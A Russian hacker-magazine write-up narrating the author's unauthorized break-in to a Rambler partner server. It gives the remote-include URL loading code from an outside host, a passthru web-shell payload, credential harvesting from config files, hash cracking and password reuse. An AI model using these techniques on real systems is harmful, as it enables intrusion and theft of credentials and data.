Иногда даже очень известные проекты, за серверами которых сидят грамотные администраторы, подвержены ошибкам. И как бы ни была защищена система, всегда найдется маленькая дырочка или недочет, позволяющий взломать сервер. Сегодня ты в очередной раз убедишься, что взломать или обойти можно практически все. Примером тому будет сервер Недвижимости партнерской программы Рамлер.ру.
Отчаянный поиск
Теплым августовским вечером я решил все таки сесть за свой компьютер после целого месяца дискотек и разного рода тусовок. Было решено, что нужно уже что-то взломать крупное и всем известное. После непродолжительных размышлений ответ пришел сам. Я давно мечтал взломать rambler.ru или один из его сервером. Так как предыдущие мои попытки не увенчались успехом, то желание взломать данный сайт было
чрезмерно сильное. И вот я начал тщательно проверять структуру всех разделов Rambler.ru. После проверки нескольких разделов на сайте, мне улыбнулась первая удача. Некоторые скрипты на сайте topshop.rambler.ru выдавали системные ошибки, но мне хотелось чего то большего. Я продолжал искать. Когда я дошел до раздела "недвижимость", мне улыбнулась
вторая удача. Первым, что я нашел, были сплошные SQL-Injections. Так как скрипт не выдавал подробной информации об ошибке, то было решено оставить инъекции на сладенькое.
А вот они, баги то
Оказалось, что "Недвижимость" - проект партнерский, а значит, следить за ним мог и не сам Rambler, а какие-то другие люди. Зайдя в раздел "юридические консультации", я принялся подставлять во все параметры одинарные кавычки. Зайдя по ссылке
http://orsn.rambler.ru/baza/ consult/index.php?action=tema&kod=4' я увидел очередную SQL-инъекцию, но после подстановки в параметр action кавычки скрипт сказал буквально следующее: Warning: Failed opening 'tema\'.htm' for inclusion...
Бог мой, да это же стандартный инклуд! Думаю, что любой читатель журнала хакер знает как задействовать данную уязвимость. Сначала я не поверил своим глазам. Даже не думая о выполнении команд на сервере я быстренько залил на народовский сайт страницу page.htm, в которой прописал "<? echo "test"; ?>", ввел в строку браузера адрес вида
http://orsn.rambler.ru/baza/consult/index.php? action=http://some_site.narod.ru/page, нажал Enter и с нетерпением ждал ответа. Та секунда, которую я ждал пока загружалась страница, показалась мне вечностью, как будто время замерло и было слышно только биение сердца. И вот скрипт выполнил запрос и выдал долгожданную надпись test. Меня затрясло от радости :-). Тут же вместо <? echo "test"; ?> было записано <? passthru($cmd);?>, а в адресную строку дописано &cmd=uname%20-a. И скрипт сказал мне, что на сервере стоит FreeBSD 4.8-RELEASE.
Хочу заметить, что большинство русских администраторов запрещает
использование в PHP-скриптах system(), но почему-то почти всегда разрешает passthru(). Примером тому может быть любой относительно крупный отечественный хостер. С радостью я начал изучать директории сайта, большая часть которых была доступна для записи. Для более удобной навигации я решил залить phpRemoteView на сервер. По своей глупости я часто проверяю наличие необходимых бинарников, запросив их help. То есть, выполнив команду wget --help, я убедился, что wget'а на сервере нет. Таким же образом было проверено, что отсутствуют утилиты fetch, lynx. Тогда я решил залить скрипт по ftp. К моему удивлению утилиты echo и locate отказывались выводить что либо в файл, словно бинарники были модифицированы администратором. Тогда еще раз я решил проверить наличие утилиты fetch. И команда which fetch мне сказала, что есть такой!
Не верь глазам своим
Залив phpRemoteView в первую попавшуюся папку, я вызвал его из браузера, но сервер сказал мне, что мол нет такого файла. В чем же дело?! Было абсолютно непонятно данное проявление. Сначала я вообще
подумал, что это какая-то уловка администраторов и все результаты выполнения команд - это фэйк. Хочу подчеркнуть, что браузер выдал свою страницу 404, т.е. это не была 404-страница сервера. На сервере кроме PHP-скриптов были HTM-файлы. Я решил вызвать один из таких файлов, но сервер опять же сказал, что нет такого файла. Данная ситуация вообще была мне не понятна. После долгих
экспериментов стало ясно, что сервер выполняет только строго разрешенные файлы. Тогда я стал искать файл, который бы выполнял сервер, но который можно было на время заменить ради веб-шела. И когда я вызвал в браузере http://orsn.rambler.ru/counter/, сервер мне сказал, что нет страницы /counter/index.php. Но 404-страница была уже серверная, то есть та, которая залита администратором на сервер. Залив в качестве index.php веб-шел я убедился в том, что скрипт /counter/index.php предусмотрен для выполнения сервером, но самого скрипта нет. Все гениально и просто. И вот я уже ползал по директориям рамблеровского сервера. После просмотра ~home директорий пользователей, логов и других интересных вещей стало ясно, что на сервере ничего лишнего нет.
Хотя листинг директорий всех пользователей был возможен с правами www. После просмотра конфига phpmyadmin, был найден пароль для MySQL сервера:
$cat config.php
$dbhost="localhost";
$dbuser="orsn";
$dbpass="[censored]";
$basename="orsn";
Тогда я залил скрипт для просмотра sql-базы данных от Rush Security Team. В базе данных были найдены некоторые логины с хешами вместо паролей, соответственно. Подбирать пароли к md5 хешам я не стал, так как было видно, что данные аккаунты были пользовательскими. Я стал искать дальше. Ни каких бэкапов и прочих вкусностей, я к сожалению не нашел.
Хочу еще!
В системе присутствовал пользователь с логином orsn. Зайдя на шел я убедился в том, что пароль от базы данных не совпадает с паролем на системный аккаунт. Вспомнив, что совсем забыл посмотреть конфигурационные файлы апача, я полез по пути /usr/local/apache/conf, где был найден интересный файл с громким названием passwd.ramblers, в котором аккуратно были записаны логины для административного интерфейса с паролями, хешированными алгоритмом DES.
Я тут же натравил с помощью John The Ripper пару словариков на эти хеши и два ответа были найдены. В файле accel.conf, который был одним из конфигов апача, я нашел и путь к админскому интерфейсу. Честно говоря, в админке не было ничего интересного.
Можно было только добавлять статьи на сайт и удалять их. Ну что же, нет так нет. Так как найденные аккаунты логинами совпадали с системными, то я вновь зашел на шел и решил проверить не совпадают ли они паролями. И один из паролей подошел к фтп!
Типичная ошибка администратора. Хотелось, конечно ssh, но там проверка производилась ключами. Я был доволен собой и пошел пить кофе. Ведь теперь у меня был постоянный доступ к серверу по учетной записи. Возможно, найденная учетная запись подошла бы и к главному серверу, но там порты жестко фильтровались и нельзя было залогиниться даже с сервера
orsn.rambler.ru.
Злоключение
В общем же хочу сказать, что сервер очень защищен и сразу понятно, что над проектом работают грамотные люди, знающие свое дело. Почему я не полез ломать систему дальше? Потому что мне не нужны были проблемы с администратором сайта. После того как была найдена данная бага, я сразу же написал адвисори службе поддержки. Они очень удивились письму и объяснили, что этот сервер проходит двухдневную профилактику, поэтому часть настроек безопасности отключили, а эту рубрику из-за ее высокой посещаемости перенесли на другой сервер, который работал в незащищенном режиме. К моменту выхода журнала в продажу сайт перенесли на свое привычное место, и дыра пропала. Никогда не повторяй, описанного в этой статье на практике. При плохом настроении администратора ты запросто пойдешь как минимум по 272 статье УК РФ. Лучше возьми свою подружку и сходи с ней в кино или на дискотеку. Не нарушай законы страны, в которой ты живешь.
Это не первая уязвимость, найденная мной на Рамблер.ру. О некоторых других уязвимостях данного известного проекта ты можешь прочитать на сайте своего любимого журнала:
http://www.xakep.ru/post/24623/default.asp
http://www.xakep.ru/post/24301/default.asp
http://www.xakep.ru/post/23804/default.asp
Статья написана исключительно в образовательных целях. Никогда не повторяйте подобного на практике!